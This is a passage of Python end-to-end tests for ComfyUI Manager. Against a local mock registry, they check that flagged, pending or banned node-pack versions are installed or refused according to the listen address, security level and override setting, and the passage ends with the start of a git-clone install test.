|
||||
E2E_ROOT = Path(os.environ.get('E2E_ROOT', '/nonexistent'))
|
||||
REPO_ROOT = Path(__file__).resolve().parents[2]
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not (E2E_ROOT / 'venv/bin/python').is_file(), reason='E2E_ROOT is required',
|
||||
)
|
||||
PACKS = ['fixture-active', 'fixture-flagged', 'fixture-pending', 'fixture-banned',
|
||||
'fixture-latest', 'fixture-switch', 'fixture-update', 'fixture-reinstall', 'fixture-snapshot']
|
||||
|
||||
|
||||
@pytest.fixture(scope='module')
|
||||
def registry():
|
||||
calls = []
|
||||
|
||||
class Handler(BaseHTTPRequestHandler):
|
||||
def log_message(self, *args):
|
||||
pass
|
||||
|
||||
def do_GET(self):
|
||||
parsed = urlparse(self.path)
|
||||
calls.append(parsed.path + ('?' + parsed.query if parsed.query else ''))
|
||||
parts = parsed.path.strip('/').split('/')
|
||||
version = parse_qs(parsed.query).get('version', ['2.0.0'])[0]
|
||||
node = parts[1] if len(parts) > 1 else ''
|
||||
base = f'http://127.0.0.1:{self.server.server_port}'
|
||||
|
||||
def metadata(node, version):
|
||||
status = {'1.0.0': 'Active', '1.1.0': 'Active', '2.0.0': 'Flagged', '3.0.0': 'Pending'}[version]
|
||||
return {'id': f'{node}-{version}', 'node_id': node, 'version': version,
|
||||
'status': 'NodeVersionStatus' + status, 'dependencies': [],
|
||||
'downloadUrl': f'{base}/zip/{node}/{version}'}
|
||||
|
||||
status = 200
|
||||
if parts[0] == 'zip':
|
||||
node, version = parts[1:]
|
||||
archive = io.BytesIO()
|
||||
with zipfile.ZipFile(archive, 'w') as z:
|
||||
z.writestr('__init__.py', 'NODE_CLASS_MAPPINGS = {}\n')
|
||||
z.writestr('pyproject.toml', f'[project]\nname = "{node}"\nversion = "{version}"\n')
|
||||
z.writestr('install.py', 'from pathlib import Path\n'
|
||||
f'Path("installed.txt").write_text("{version}")\n')
|
||||
body = archive.getvalue()
|
||||
elif parsed.path == '/nodes':
|
||||
body = json.dumps({'nodes': [
|
||||
{'id': name, 'name': name, 'description': '', 'status': 'NodeStatusActive',
|
||||
'repository': f'https://example.invalid/{name}',
|
||||
'publisher': {'id': 'fixture', 'name': 'Fixture'},
|
||||
'latest_version': metadata(name, '2.0.0')}
|
||||
for name in PACKS], 'totalPages': 1}).encode()
|
||||
elif len(parts) == 3 and parts[0] == 'nodes' and parts[2] == 'install':
|
||||
if node == 'fixture-banned':
|
||||
status, body = 404, b'{"message":"Not found"}'
|
||||
else:
|
||||
body = json.dumps(metadata(node, version)).encode()
|
||||
else:
|
||||
status, body = 404, b'{}'
|
||||
self.send_response(status)
|
||||
self.send_header('Content-Length', str(len(body)))
|
||||
self.send_header('Content-Type', 'application/zip' if parts[0] == 'zip' else 'application/json')
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
server = ThreadingHTTPServer(('127.0.0.1', 0), Handler)
|
||||
thread = threading.Thread(target=server.serve_forever, daemon=True)
|
||||
thread.start()
|
||||
yield SimpleNamespace(url=f'http://127.0.0.1:{server.server_port}', calls=calls)
|
||||
server.shutdown()
|
||||
server.server_close()
|
||||
thread.join()
|
||||
|
||||
|
||||
REGISTRY_BOOTSTRAP = '''
|
||||
import json, os, urllib.request
|
||||
from comfyui_manager.common import cnr_utils, manager_util
|
||||
cnr_utils.base_url = os.environ['CM_E2E_REGISTRY']
|
||||
with urllib.request.urlopen(cnr_utils.base_url + '/nodes') as response:
|
||||
manager_util.save_to_cache(cnr_utils.base_url + '/nodes', json.load(response))
|
||||
'''
|
||||
BOOTSTRAP = '''
|
||||
import os, runpy, sys
|
||||
sys.argv = [os.environ['CM_E2E_MAIN'], *sys.argv[1:]]
|
||||
import comfy.options
|
||||
comfy.options.enable_args_parsing()
|
||||
''' + REGISTRY_BOOTSTRAP + "\nrunpy.run_path(sys.argv[0], run_name='__main__')\n"
|
||||
RESTORE_BOOTSTRAP = '''
|
||||
import os
|
||||
from comfy.cli_args import args
|
||||
args.base_directory = os.environ['CM_E2E_BASE']
|
||||
''' + REGISTRY_BOOTSTRAP + '''
|
||||
from comfyui_manager.legacy import manager_core as core
|
||||
core.unified_manager.custom_node_map_cache[(core.normalize_channel('default'), 'cache')] = core.NormalizedKeyDict()
|
||||
'''
|
||||
|
||||
|
||||
def prepare_environment(root, override, security, registry):
|
||||
(root / 'custom_nodes').mkdir(exist_ok=True)
|
||||
config_dir = root / 'user/__manager'
|
||||
config_dir.mkdir(parents=True, exist_ok=True)
|
||||
(config_dir / 'config.ini').write_text(
|
||||
'[default]\nnetwork_mode = offline\nuse_uv = false\n'
|
||||
f'security_level = {security}\nallow_flagged_nodepack_install = {override}\n'
|
||||
)
|
||||
# The real restore subprocess inherits the same isolated Registry and paths.
|
||||
(root / 'sitecustomize.py').write_text(
|
||||
"import sys\nif sys.argv[0] == '-m' and 'cm_cli' in sys.orig_argv:\n"
|
||||
+ '\n'.join(' ' + line for line in RESTORE_BOOTSTRAP.splitlines())
|
||||
)
|
||||
env = dict(os.environ, PYTHONUNBUFFERED='1',
|
||||
PYTHONPATH=os.pathsep.join([str(root), str(REPO_ROOT), str(E2E_ROOT / 'comfyui')]),
|
||||
COMFYUI_PATH=str(E2E_ROOT / 'comfyui'), COMFYUI_FOLDERS_BASE_PATH=str(root),
|
||||
CM_E2E_BASE=str(root),
|
||||
CM_E2E_MAIN=str(E2E_ROOT / 'comfyui/main.py'), CM_E2E_REGISTRY=registry.url)
|
||||
return env
|
||||
|
||||
|
||||
@contextmanager
|
||||
def running_server(root, tree, listen, override, security, registry):
|
||||
env = prepare_environment(root, override, security, registry)
|
||||
with socket.socket() as sock:
|
||||
sock.bind(('127.0.0.1', 0))
|
||||
port = sock.getsockname()[1]
|
||||
base = f'http://127.0.0.1:{port}'
|
||||
command = [str(E2E_ROOT / 'venv/bin/python'), '-c', BOOTSTRAP,
|
||||
'--cpu', '--enable-manager', '--base-directory', str(root),
|
||||
'--listen', listen, '--port', str(port),
|
||||
'--database-url', f'sqlite:///{root / "comfyui.db"}']
|
||||
if tree == 'legacy':
|
||||
command.append('--enable-manager-legacy-ui')
|
||||
log_path = root / 'server.log'
|
||||
with log_path.open('w') as log:
|
||||
process = subprocess.Popen(command, env=env, cwd=E2E_ROOT / 'comfyui', stdout=log, stderr=subprocess.STDOUT)
|
||||
try:
|
||||
deadline = time.monotonic() + 90
|
||||
while time.monotonic() < deadline:
|
||||
assert process.poll() is None, log_path.read_text()
|
||||
try:
|
||||
if requests.get(base + '/system_stats', timeout=1).status_code == 200:
|
||||
break
|
||||
except requests.RequestException:
|
||||
pass
|
||||
time.sleep(.2)
|
||||
else:
|
||||
pytest.fail('ComfyUI did not start:\n' + log_path.read_text())
|
||||
yield SimpleNamespace(root=root, tree=tree, base=base, listen=listen,
|
||||
override=override, security=security, registry=registry,
|
||||
process=process, command=command, env=env)
|
||||
finally:
|
||||
process.terminate()
|
||||
try:
|
||||
process.wait(timeout=10)
|
||||
except subprocess.TimeoutExpired:
|
||||
process.kill()
|
||||
process.wait(timeout=5)
|
||||
|
||||
|
||||
@pytest.fixture(scope='module', params=[
|
||||
(tree, listen, override, security)
|
||||
for tree in ('legacy', 'glob')
|
||||
for listen, override, security in [
|
||||
('127.0.0.1', False, 'normal'),
|
||||
('0.0.0.0', False, 'normal'),
|
||||
('0.0.0.0', True, 'normal'),
|
||||
('0.0.0.0', True, 'strong'),
|
||||
('127.0.0.1', False, 'strong'),
|
||||
]
|
||||
], ids=lambda row: '-'.join(map(str, row)))
|
||||
def comfy_server(request, tmp_path_factory, registry):
|
||||
tree, listen, override, security = request.param
|
||||
root = tmp_path_factory.mktemp('flagged-' + tree)
|
||||
with running_server(root, tree, listen, override, security, registry) as server:
|
||||
yield server
|
||||
|
||||
|
||||
def install(server, node, version, operation='install'):
|
||||
ui_id = uuid.uuid4().hex
|
||||
params = {'id': node, 'version': '1.0.0', 'selected_version': version,
|
||||
'mode': 'cache', 'channel': 'default', 'ui_id': ui_id,
|
||||
'repository': 'https://example.invalid/fixture'}
|
||||
if server.tree == 'legacy':
|
||||
response = requests.post(server.base + '/v2/manager/queue/batch',
|
||||
json={'batch_id': ui_id, operation: [params]}, timeout=10)
|
||||
response.raise_for_status()
|
||||
if response.json()['failed']:
|
||||
return response.json()
|
||||
query = {'id': ui_id}
|
||||
else:
|
||||
if operation == 'update':
|
||||
params = {'node_name': node, 'node_ver': '1.0.0'}
|
||||
response = requests.post(server.base + '/v2/manager/queue/task', json={
|
||||
'ui_id': ui_id, 'client_id': 'flagged-e2e', 'kind': operation, 'params': params,
|
||||
}, timeout=10)
|
||||
response.raise_for_status()
|
||||
requests.post(server.base + '/v2/manager/queue/start', timeout=10).raise_for_status()
|
||||
query = {'ui_id': ui_id}
|
||||
deadline = time.monotonic() + 30
|
||||
while time.monotonic() < deadline:
|
||||
response = requests.get(server.base + '/v2/manager/queue/history', params=query, timeout=5)
|
||||
if response.status_code == 200:
|
||||
data = response.json()
|
||||
if server.tree == 'legacy' or data.get('history'):
|
||||
return data
|
||||
time.sleep(.1)
|
||||
pytest.fail('Install did not complete:\n' + (server.root / 'server.log').read_text()[-6000:])
|
||||
|
||||
|
||||
def assert_terminal_guidance(log):
|
||||
for detail in ('--listen 127.0.0.1', '--listen ::1', '0.0.0.0', '[default]',
|
||||
'allow_flagged_nodepack_install = true', 'config.ini',
|
||||
'trusted private network', 'Restart ComfyUI'):
|
||||
assert detail in log
|
||||
|
||||
|
||||
def assert_flagged_denial(result, log):
|
||||
message = json.dumps(result)
|
||||
assert ('This action is not allowed by the current security configuration. '
|
||||
'See the terminal for details.') in message, result
|
||||
assert 'allow_flagged_nodepack_install' not in message, result
|
||||
assert '--listen' not in message, result
|
||||
assert_terminal_guidance(log)
|
||||
|
||||
|
||||
@pytest.mark.parametrize('node,version', [
|
||||
('fixture-active', '1.0.0'), ('fixture-flagged', '2.0.0'),
|
||||
('fixture-pending', '3.0.0'), ('fixture-banned', '1.0.0'),
|
||||
('fixture-latest', 'latest'),
|
||||
])
|
||||
def test_install_policy(comfy_server, node, version):
|
||||
server = comfy_server
|
||||
log_before = len((server.root / 'server.log').read_text())
|
||||
before = len(server.registry.calls)
|
||||
result = install(server, node, version)
|
||||
calls = server.registry.calls[before:]
|
||||
strong = server.security == 'strong'
|
||||
flagged = version in ('2.0.0', 'latest')
|
||||
allowed = not strong and node != 'fixture-banned' and (
|
||||
not flagged or server.override or server.listen == '127.0.0.1')
|
||||
marker = server.root / 'custom_nodes' / node / 'installed.txt'
|
||||
assert marker.exists() is allowed, (result, (server.root / 'server.log').read_text()[-6000:])
|
||||
assert sum('/install' in call for call in calls) == (0 if strong else 1), calls
|
||||
assert any(call.startswith('/zip/') for call in calls) is allowed, calls
|
||||
if allowed:
|
||||
assert marker.read_text() == ('2.0.0' if version == 'latest' else version)
|
||||
if server.tree == 'legacy':
|
||||
assert list(result['nodepack_result'].values()) == ['success'], result
|
||||
else:
|
||||
assert result['history']['result'] == 'success', result
|
||||
elif flagged and not strong:
|
||||
assert_flagged_denial(result, (server.root / 'server.log').read_text()[log_before:])
|
||||
|
||||
|
||||
@pytest.mark.parametrize('operation', ['install', 'update'])
|
||||
def test_flagged_transition_preserves_active_version(comfy_server, operation):
|
||||
server = comfy_server
|
||||
if server.security == 'strong':
|
||||
pytest.skip('No installed version in strong mode')
|
||||
# Keep this state separate from test_install_policy, regardless of test order.
|
||||
node = 'fixture-switch' if operation == 'install' else 'fixture-update'
|
||||
marker = server.root / 'custom_nodes' / node / 'installed.txt'
|
||||
install(server, node, '1.0.0')
|
||||
log_before = len((server.root / 'server.log').read_text())
|
||||
before = len(server.registry.calls)
|
||||
result = install(server, node, '2.0.0', operation)
|
||||
calls = server.registry.calls[before:]
|
||||
assert sum('/install' in call for call in calls) == 1
|
||||
assert not any(call.startswith('/zip/') for call in calls)
|
||||
assert marker.read_text() == '1.0.0'
|
||||
reserved = server.root / 'user/__manager/startup-scripts/install-scripts.txt'
|
||||
if server.override or server.listen == '127.0.0.1':
|
||||
assert '#LAZY-CNR-SWITCH-SCRIPT' in reserved.read_text()
|
||||
if server.tree == 'legacy':
|
||||
assert list(result['nodepack_result'].values()) == ['success'], result
|
||||
else:
|
||||
assert result['history']['result'] == 'success', result
|
||||
else:
|
||||
assert not reserved.exists()
|
||||
assert_flagged_denial(result, (server.root / 'server.log').read_text()[log_before:])
|
||||
|
||||
|
||||
@pytest.mark.parametrize('listen,override', [
|
||||
('127.0.0.1', False), ('0.0.0.0', False), ('0.0.0.0', True),
|
||||
])
|
||||
@pytest.mark.parametrize('version', ['1.0.0', '2.0.0'])
|
||||
def test_legacy_reinstall_preserves_denied_pack_and_runs_allowed_script(
|
||||
tmp_path, registry, listen, override, version):
|
||||
with running_server(tmp_path, 'legacy', listen, override, 'normal', registry) as server:
|
||||
node = 'fixture-reinstall'
|
||||
install(server, node, '1.0.0')
|
||||
marker = tmp_path / 'custom_nodes' / node / 'installed.txt'
|
||||
assert marker.read_text() == '1.0.0'
|
||||
original = (marker.read_bytes(), marker.stat().st_mtime_ns)
|
||||
stale = marker.parent / 'stale.txt'
|
||||
stale.write_text('removed only by an allowed reinstall')
|
||||
before = len(registry.calls)
|
||||
log_before = len((server.root / 'server.log').read_text())
|
||||
|
||||
result = install(server, node, version, 'reinstall')
|
||||
|
||||
calls = registry.calls[before:]
|
||||
allowed = version == '1.0.0' or override or listen == '127.0.0.1'
|
||||
assert sum('/install' in call for call in calls) == 1, calls
|
||||
assert any(call.startswith('/zip/') for call in calls) is allowed, calls
|
||||
if allowed:
|
||||
assert list(result['nodepack_result'].values()) == ['success'], result
|
||||
assert marker.read_text() == version, result
|
||||
assert not stale.exists()
|
||||
else:
|
||||
assert_flagged_denial(result, (server.root / 'server.log').read_text()[log_before:])
|
||||
assert marker.exists(), 'Rejected reinstall removed the existing pack'
|
||||
assert (marker.read_bytes(), marker.stat().st_mtime_ns) == original
|
||||
assert stale.exists()
|
||||
|
||||
|
||||
def test_nonlocal_override_does_not_allow_nightly(comfy_server):
|
||||
server = comfy_server
|
||||
if server.listen == '127.0.0.1':
|
||||
pytest.skip('This regression checks the non-local Git gate')
|
||||
log_path = server.root / 'server.log'
|
||||
log_before = len(log_path.read_text())
|
||||
before = len(server.registry.calls)
|
||||
result = install(server, 'fixture-nightly', 'nightly')
|
||||
# A missing node or a failed clone must not count as a security rejection.
|
||||
if server.tree == 'legacy':
|
||||
assert result['failed'] == ['fixture-nightly'], result
|
||||
else:
|
||||
assert result['history']['result'] == 'failed', result
|
||||
expected_reason = ('normal or below' if server.security == 'strong' and server.tree == 'legacy'
|
||||
else 'network_mode must be set to `personal_cloud`')
|
||||
assert expected_reason in log_path.read_text()[log_before:], result
|
||||
assert not (server.root / 'custom_nodes/fixture-nightly').exists()
|
||||
assert not any('/install' in call or call.startswith('/zip/')
|
||||
for call in server.registry.calls[before:])
|
||||
|
||||
|
||||
@pytest.mark.parametrize('tree', ['legacy', 'glob'])
|
||||
@pytest.mark.parametrize('listen,override,restart_listen,restart_override,allowed', [
|
||||
('127.0.0.1', False, '0.0.0.0', False, False),
|
||||
('0.0.0.0', True, '0.0.0.0', False, False),
|
||||
('127.0.0.1', False, '127.0.0.1', False, True),
|
||||
('0.0.0.0', True, '0.0.0.0', True, True),
|
||||
])
|
||||
@pytest.mark.parametrize('stored_status', [True, False])
|
||||
def test_restart_applies_current_policy_without_registry_query(
|
||||
tree, listen, override, restart_listen, restart_override, allowed, stored_status, tmp_path, registry):
|
||||
with running_server(tmp_path, tree, listen, override, 'normal', registry) as server:
|
||||
marker = server.root / 'custom_nodes/fixture-active/installed.txt'
|
||||
install(server, 'fixture-active', '1.0.0')
|
||||
reserved = server.root / 'user/__manager/startup-scripts/install-scripts.txt'
|
||||
install(server, 'fixture-active', '2.0.0')
|
||||
assert 'NodeVersionStatusFlagged' in reserved.read_text()
|
||||
original_marker = (marker.read_bytes(), marker.stat().st_mtime_ns)
|
||||
server.process.terminate()
|
||||
server.process.wait(timeout=10)
|
||||
if not stored_status:
|
||||
record = ast.literal_eval(reserved.read_text().strip())
|
||||
assert record[1] == '#LAZY-CNR-SWITCH-SCRIPT'
|
||||
assert len(record) == 9
|
||||
reserved.write_text(repr(record[:8]) + '\n')
|
||||
|
||||
config_path = server.root / 'user/__manager/config.ini'
|
||||
config = configparser.ConfigParser()
|
||||
config.read(config_path)
|
||||
config['default']['allow_flagged_nodepack_install'] = str(restart_override)
|
||||
with config_path.open('w') as config_file:
|
||||
config.write(config_file)
|
||||
command = list(server.command)
|
||||
command[command.index('--listen') + 1] = restart_listen
|
||||
before = len(server.registry.calls)
|
||||
log_path = server.root / 'restart.log'
|
||||
with log_path.open('w') as log:
|
||||
process = subprocess.Popen(command, env=server.env, cwd=E2E_ROOT / 'comfyui',
|
||||
stdout=log, stderr=subprocess.STDOUT)
|
||||
try:
|
||||
deadline = time.monotonic() + 90
|
||||
while time.monotonic() < deadline:
|
||||
assert process.poll() is None, log_path.read_text()[-6000:]
|
||||
try:
|
||||
if requests.get(server.base + '/system_stats', timeout=1).status_code == 200:
|
||||
break
|
||||
except requests.RequestException:
|
||||
pass
|
||||
time.sleep(.2)
|
||||
else:
|
||||
pytest.fail(log_path.read_text()[-6000:])
|
||||
calls = server.registry.calls[before:]
|
||||
assert not any('/install' in call for call in calls), calls
|
||||
assert any(call.startswith('/zip/') for call in calls) is allowed, calls
|
||||
if allowed:
|
||||
assert marker.read_text() == '2.0.0', log_path.read_text()[-6000:]
|
||||
else:
|
||||
if stored_status:
|
||||
assert_terminal_guidance(log_path.read_text())
|
||||
else:
|
||||
assert 'stored Registry status is missing' in log_path.read_text()
|
||||
assert 'Request the installation again' in log_path.read_text()
|
||||
assert (marker.read_bytes(), marker.stat().st_mtime_ns) == original_marker
|
||||
finally:
|
||||
process.terminate()
|
||||
try:
|
||||
process.wait(timeout=10)
|
||||
except subprocess.TimeoutExpired:
|
||||
process.kill()
|
||||
process.wait(timeout=5)
|
||||
|
||||
|
||||
@pytest.mark.parametrize('operation', ['install', 'restore-snapshot'])
|
||||
def test_direct_cli_installs_flagged_without_server_options(tmp_path, registry, operation):
|
||||
env = prepare_environment(tmp_path, False, 'normal', registry)
|
||||
command = [str(E2E_ROOT / 'venv/bin/python'), '-m', 'cm_cli', operation]
|
||||
if operation == 'install':
|
||||
command += ['fixture-flagged@2.0.0', '--mode', 'cache']
|
||||
else:
|
||||
snapshot = tmp_path / 'direct-snapshot.json'
|
||||
snapshot.write_text(json.dumps({'cnr_custom_nodes': {'fixture-flagged': '2.0.0'},
|
||||
'git_custom_nodes': {}, 'file_custom_nodes': []}))
|
||||
command.append(str(snapshot))
|
||||
command += ['--user-directory', str(tmp_path / 'user')]
|
||||
before = len(registry.calls)
|
||||
|
||||
result = subprocess.run(command, env=env, cwd=E2E_ROOT / 'comfyui',
|
||||
capture_output=True, text=True, timeout=60)
|
||||
|
||||
output = result.stdout + result.stderr
|
||||
assert result.returncode == 0, output
|
||||
installed = tmp_path / 'custom_nodes/fixture-flagged'
|
||||
assert 'version = "2.0.0"' in (installed / 'pyproject.toml').read_text(), output
|
||||
if operation == 'install':
|
||||
assert (installed / 'installed.txt').read_text() == '2.0.0', output
|
||||
assert sum('/install' in call for call in registry.calls[before:]) == 1
|
||||
assert 'Installation of this flagged CNR version is blocked' not in output
|
||||
|
||||
|
||||
@pytest.mark.parametrize('tree', ['legacy', 'glob'])
|
||||
@pytest.mark.parametrize('existing', [False, True])
|
||||
@pytest.mark.parametrize('version,listen,override,allowed', [
|
||||
('1.1.0', '0.0.0.0', False, True),
|
||||
('2.0.0', '0.0.0.0', False, False),
|
||||
('2.0.0', '0.0.0.0', True, True),
|
||||
('2.0.0', '127.0.0.1', False, True),
|
||||
])
|
||||
def test_scheduled_snapshot_restores_through_server_restart(
|
||||
tmp_path, registry, tree, existing, version, listen, override, allowed):
|
||||
installed = tmp_path / 'custom_nodes/fixture-snapshot'
|
||||
marker = installed / 'installed.txt'
|
||||
reservation = tmp_path / 'user/__manager/startup-scripts/restore-snapshot.json'
|
||||
with running_server(tmp_path, tree, '127.0.0.1', False, 'normal', registry) as server:
|
||||
if existing:
|
||||
install(server, 'fixture-snapshot', '1.0.0')
|
||||
assert marker.read_text() == '1.0.0'
|
||||
original = (marker.read_bytes(), marker.stat().st_mtime_ns)
|
||||
snapshot = tmp_path / 'user/__manager/snapshots/flagged-policy.json'
|
||||
snapshot.write_text(json.dumps({'cnr_custom_nodes': {'fixture-snapshot': version},
|
||||
'git_custom_nodes': {}, 'file_custom_nodes': []}))
|
||||
before = len(registry.calls)
|
||||
response = requests.post(server.base + '/v2/snapshot/restore',
|
||||
params={'target': snapshot.stem}, json={}, timeout=10)
|
||||
assert response.status_code == 200, response.text
|
||||
assert reservation.read_bytes() == snapshot.read_bytes()
|
||||
assert registry.calls[before:] == []
|
||||
if existing:
|
||||
assert (marker.read_bytes(), marker.stat().st_mtime_ns) == original
|
||||
else:
|
||||
assert not installed.exists()
|
||||
|
||||
before = len(registry.calls)
|
||||
with running_server(tmp_path, tree, listen, override, 'normal', registry):
|
||||
log = (tmp_path / 'server.log').read_text()
|
||||
calls = registry.calls[before:]
|
||||
assert 'Restore snapshot done.' in log, log[-6000:]
|
||||
assert 'Restore snapshot failed.' not in log, log[-6000:]
|
||||
assert 'Error in sitecustomize' not in log, log[-6000:]
|
||||
assert not reservation.exists()
|
||||
assert sum('/install' in call for call in calls) == 1, (calls, log[-6000:])
|
||||
assert any(call.startswith('/zip/') for call in calls) is allowed, calls
|
||||
if allowed:
|
||||
assert f'version = "{version}"' in (installed / 'pyproject.toml').read_text(), log[-6000:]
|
||||
assert 'allow_flagged_nodepack_install' not in log
|
||||
else:
|
||||
assert_terminal_guidance(log)
|
||||
if existing:
|
||||
assert (marker.read_bytes(), marker.stat().st_mtime_ns) == original
|
||||
assert '1.0.0' in (installed / 'pyproject.toml').read_text()
|
||||
else:
|
||||
assert not installed.exists()
|
||||
@@ -0,0 +1,350 @@
|
||||
"""E2E tests for git-clone-based node installation via ComfyUI Manager API.
|
||||
|
||||
Starts a real ComfyUI instance and installs custom nodes by URL (nightly mode),
|
||||
which triggers git_helper.py as a subprocess. This is the code path that crashed
|
||||
on Windows with ModuleNotFoundError (Phase 1) and exit 128 (Phase 2).
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.py).
|
||||
Set E2E_ROOT env var to point at it, or the tests will be skipped.
|
||||
|
||||
Supply-chain safety policy:
|
||||
Only install from verified, controllable authors (ltdrdata).
|
||||
|
||||
Usage:
|
||||
E2E_ROOT=/tmp/e2e_full_test pytest tests/e2e/test_e2e_git_clone.py -v
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
CUSTOM_NODES = os.path.join(COMFYUI_PATH, "custom_nodes") if COMFYUI_PATH else ""
|
||||
|
||||
PORT = 8198 # Different port from endpoint tests to avoid conflicts
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
REPO_TEST1 = "https://github.com/ltdrdata/nodepack-test1-do-not-install"
|
||||
PACK_TEST1 = "nodepack-test1-do-not-install"
|
||||
|
||||
POLL_TIMEOUT = 60
|
||||
POLL_INTERVAL = 1.0
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_comfyui_proc: subprocess.Popen | None = None
|
||||
|
||||
|
||||
def _venv_python() -> str:
|
||||
if sys.platform == "win32":
|
||||
return os.path.join(E2E_ROOT, "venv", "Scripts", "python.exe")
|
||||
return os.path.join(E2E_ROOT, "venv", "bin", "python")
|
||||
|
||||
|
||||
def _cm_cli_path() -> str:
|
||||
if sys.platform == "win32":
|
||||
return os.path.join(E2E_ROOT, "venv", "Scripts", "cm-cli.exe")
|
||||
return os.path.join(E2E_ROOT, "venv", "bin", "cm-cli")
|
||||
|
||||
|
||||
def _ensure_cache():
|
||||
"""Run cm-cli update-cache (blocking) to populate Manager cache before tests.
|
||||
|
||||
Timeout is generous (600s): update-cache downloads the full DB lists
|
||||
over the network and routinely exceeds 120s on slow links, which used
|
||||
to fail the whole module at setup.
|
||||
"""
|
||||
env = {**os.environ, "COMFYUI_PATH": COMFYUI_PATH}
|
||||
r = subprocess.run(
|
||||
[_cm_cli_path(), "update-cache"],
|
||||
capture_output=True, text=True, timeout=600, env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"update-cache failed:\n{r.stderr}")
|
||||
|
||||
|
||||
def _start_comfyui() -> int:
|
||||
"""Start ComfyUI via Popen (cross-platform, no bash dependency)."""
|
||||
global _comfyui_proc # noqa: PLW0603
|
||||
log_dir = os.path.join(E2E_ROOT, "logs")
|
||||
os.makedirs(log_dir, exist_ok=True)
|
||||
log_path = os.path.join(log_dir, "comfyui.log")
|
||||
# Open the log file for the subprocess. We must keep this fd open while
|
||||
# the process runs, but MUST close it on any exit path to avoid handle
|
||||
# leaks (particularly on Windows where open handles block rmtree).
|
||||
log_file = open(log_path, "w") # noqa: SIM115
|
||||
|
||||
def _read_tail() -> str:
|
||||
with open(log_path) as f:
|
||||
return f.read()[-2000:]
|
||||
|
||||
env = {
|
||||
**os.environ,
|
||||
"COMFYUI_PATH": COMFYUI_PATH,
|
||||
"PYTHONUNBUFFERED": "1",
|
||||
}
|
||||
try:
|
||||
_comfyui_proc = subprocess.Popen(
|
||||
[_venv_python(), "-u", os.path.join(COMFYUI_PATH, "main.py"),
|
||||
"--listen", "127.0.0.1", "--port", str(PORT),
|
||||
"--cpu", "--enable-manager"],
|
||||
stdout=log_file, stderr=subprocess.STDOUT,
|
||||
env=env,
|
||||
)
|
||||
# Wait for server to be ready.
|
||||
# Manager may restart ComfyUI after startup dependency install (exit 0 → re-launch).
|
||||
# If the process exits with code 0, keep polling — the restarted process will bind the port.
|
||||
deadline = time.monotonic() + 120
|
||||
while time.monotonic() < deadline:
|
||||
try:
|
||||
r = requests.get(f"{BASE_URL}/system_stats", timeout=2)
|
||||
if r.status_code == 200:
|
||||
return _comfyui_proc.pid
|
||||
except requests.ConnectionError:
|
||||
pass
|
||||
if _comfyui_proc.poll() is not None:
|
||||
if _comfyui_proc.returncode != 0:
|
||||
log_file.close()
|
||||
raise RuntimeError(
|
||||
f"ComfyUI exited with code {_comfyui_proc.returncode}:\n{_read_tail()}"
|
||||
)
|
||||
# exit 0 = Manager restart. Keep polling for the restarted process.
|
||||
time.sleep(1)
|
||||
raise RuntimeError(f"ComfyUI did not start within 120s. Log:\n{_read_tail()}")
|
||||
except Exception:
|
||||
# Ensure log_file handle is released on any failure
|
||||
try:
|
||||
log_file.close()
|
||||
except Exception: # noqa: BLE001
|
||||
pass
|
||||
raise
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
"""Stop ComfyUI process."""
|
||||
global _comfyui_proc # noqa: PLW0603
|
||||
if _comfyui_proc is None:
|
||||
return
|
||||
_comfyui_proc.terminate()
|
||||
try:
|
||||
_comfyui_proc.wait(timeout=10)
|
||||
except subprocess.TimeoutExpired:
|
||||
_comfyui_proc.kill()
|
||||
_comfyui_proc = None
|
||||
|
||||
|
||||
def _queue_task(task: dict) -> None:
|
||||
"""Queue a Manager task and start the worker."""
|
||||
resp = requests.post(f"{BASE_URL}/v2/manager/queue/task", json=task, timeout=10)
|
||||
resp.raise_for_status()
|
||||
requests.post(f"{BASE_URL}/v2/manager/queue/start", timeout=10)
|
||||
|
||||
|
||||
def _remove_pack(name: str) -> None:
|
||||
"""Remove a node pack from custom_nodes.
|
||||
|
||||
On Windows, file locks (antivirus, git handles) can prevent immediate
|
||||
deletion. Strategy: retry rmtree, then fall back to rename (moves the
|
||||
directory out of the resolver's scan path so stale deps don't leak).
|
||||
"""
|
||||
path = os.path.join(CUSTOM_NODES, name)
|
||||
if os.path.islink(path):
|
||||
os.unlink(path)
|
||||
return
|
||||
if not os.path.isdir(path):
|
||||
return
|
||||
for attempt in range(3):
|
||||
try:
|
||||
shutil.rmtree(path)
|
||||
return
|
||||
except OSError:
|
||||
if attempt < 2:
|
||||
time.sleep(1)
|
||||
# Fallback: rename out of custom_nodes so resolver won't scan it
|
||||
import uuid
|
||||
trash = os.path.join(CUSTOM_NODES, f".trash_{uuid.uuid4().hex[:8]}")
|
||||
try:
|
||||
os.rename(path, trash)
|
||||
shutil.rmtree(trash, ignore_errors=True)
|
||||
except OSError:
|
||||
shutil.rmtree(path, ignore_errors=True)
|
||||
|
||||
|
||||
def _pack_exists(name: str) -> bool:
|
||||
return os.path.isdir(os.path.join(CUSTOM_NODES, name))
|
||||
|
||||
|
||||
def _wait_for(predicate, timeout=POLL_TIMEOUT, interval=POLL_INTERVAL):
|
||||
"""Poll predicate until True or timeout."""
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
if predicate():
|
||||
return True
|
||||
time.sleep(interval)
|
||||
return False
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Fixtures
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui():
|
